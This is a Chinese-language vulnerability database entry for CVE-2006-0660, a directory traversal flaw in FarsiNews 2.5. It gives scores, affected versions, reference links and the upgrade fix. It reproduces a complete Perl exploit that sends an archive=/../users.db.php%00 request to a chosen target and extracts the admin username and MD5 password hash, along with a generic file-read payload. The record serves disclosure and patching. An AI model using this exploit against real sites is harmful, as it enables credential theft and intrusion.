CVE-2006-0660
CVSS6.4
发布时间 :2006-02-13 06:06:00
修订时间 :2011-03-07 21:30:33
NMCOE    

[原文]Multiple directory traversal vulnerabilities in FarsiNews 2.5 and earlier allows remote attackers to (1) read arbitrary files or trigger an error message path disclosure via ".." or invalid names in the archive parameter to index.php, or (2) include arbitrary files via the template parameter to show_archives.php.


[CNNVD]FarsiNews多个目录遍历漏洞(CNNVD-200602-146)

        FarsiNews 2.5及之前版本中存在多个目录遍历漏洞。远程攻击者可以(1)借助".."或指向index.php的archive参数中的无效名称读取任意文件或触发出错信息路径泄露,或(2)借助指向show_archives.php的template参数包含任意文件。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:farsinews:farsinews:2.1_beta2
cpe:/a:farsinews:farsinews:2.1
cpe:/a:farsinews:farsinews:2.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0660
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0660
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-146
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/18768
(VENDOR_ADVISORY)  SECUNIA  18768
http://www.vupen.com/english/advisories/2006/0506
(UNKNOWN)  VUPEN  ADV-2006-0506
http://www.securityfocus.com/bid/16580
(UNKNOWN)  BID  16580
http://www.hamid.ir/security/farsinews2-5.txt
(VENDOR_ADVISORY)  MISC  http://www.hamid.ir/security/farsinews2-5.txt
http://forum.farsinewsteam.com/index.php?showtopic=76
(UNKNOWN)  MISC  http://forum.farsinewsteam.com/index.php?showtopic=76
http://forum.farsinewsteam.com/index.php?showtopic=71
(UNKNOWN)  MISC  http://forum.farsinewsteam.com/index.php?showtopic=71
http://xforce.iss.net/xforce/xfdb/24602
(UNKNOWN)  XF  farsinews-index-directory-traversal(24602)
http://xforce.iss.net/xforce/xfdb/24598
(UNKNOWN)  XF  farsinews-showarchives-file-include(24598)
http://www.securityfocus.com/archive/1/archive/1/424720/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060210 FarsiNews 2.5 Multiple Vulnerabilities
http://www.osvdb.org/23022
(UNKNOWN)  OSVDB  23022
http://www.osvdb.org/23021
(UNKNOWN)  OSVDB  23021
http://www.osvdb.org/23020
(UNKNOWN)  OSVDB  23020

- 漏洞信息

FarsiNews多个目录遍历漏洞
中危 路径遍历
2006-02-13 00:00:00 2006-02-13 00:00:00
远程  
        FarsiNews 2.5及之前版本中存在多个目录遍历漏洞。远程攻击者可以(1)借助".."或指向index.php的archive参数中的无效名称读取任意文件或触发出错信息路径泄露,或(2)借助指向show_archives.php的template参数包含任意文件。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接。

- 漏洞信息 (1538)

FarsiNews <= 2.5 Directory Traversal Arbitrary (users.db) Access Exploit (EDBID:1538)
php webapps
2006-02-28 Verified
0 Hessam-x
N/A [点击下载]
#!/usr/bin/perl
#
# FarsiNews 2.5pro Show User&Passowrd
# Exploit by Hessam-x (www.hessamx.net)
#
#
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  /\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                                                    #
######################################################
# Description                                        #
#                                                    #
# Name    : FarsiNews [www.farsinewsteam.com]        #
# version : 2.5Pro                                   #
######################################################
# in FarsiNews if you change the archive value :
# http://localhost/index.php?archive=hamid
# see :
# Warning: file([PATH]/data/archives/hamid.news.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 642
# Warning: file([PATH]/data/archives/hamid.comments.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 686
# ...[and many other error]
# it means that shows.inc.php  try to open  '/archives/hamid.news.arch.php'  (and also 'hamid.comments.arch.php')  to read it's data .
# we can change the archive value to '/../users.db.php%00' to see all username and password .
# Exploit :
# http://localhost/index.php?archive=/../users.db.php%00
# http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00
# F0und by hamid
use LWP::Simple;

print "-------------------------------------------\n";
print "=             Farsinews 2.5Pro            =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";


       print "Target(www.example.com)\> ";
       chomp($targ = <STDIN>);

       print "Path: (/fn25/)\>";
       chomp($path=<STDIN>);

$url = "index.php?archive=/../users.db.php%00";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $targ\n";

$page =~ m/<img alt="(.*?)" src=/ && print "[+] Username:\n $1\n";
$page =~ m/style="border: none;" align="right" \/>(.*?)<\/font>/ && print "[+] MD5 Password:\n $1\n";

print "[-] Unable to retrieve User ID\n" if(!$1);

# milw0rm.com [2006-02-28]
		

- 漏洞信息

23020
FarsiNews index.php Malformed archive Variable Path Disclosure
Remote / Network Access Information Disclosure
Loss of Confidentiality
Exploit Public Vendor Verified

- 漏洞描述

FarsiNews contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered when a remote attacker sets the 'archive' variable to an invalid value, which will disclose the software's installation path resulting in a loss of confidentiality. While such information is relatively low risk, it is often useful in carrying out additional, more focused attacks.

- 时间线

2006-02-10 Unknow
2006-02-10 Unknow

- 解决方案

Upgrade to version 2.5.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站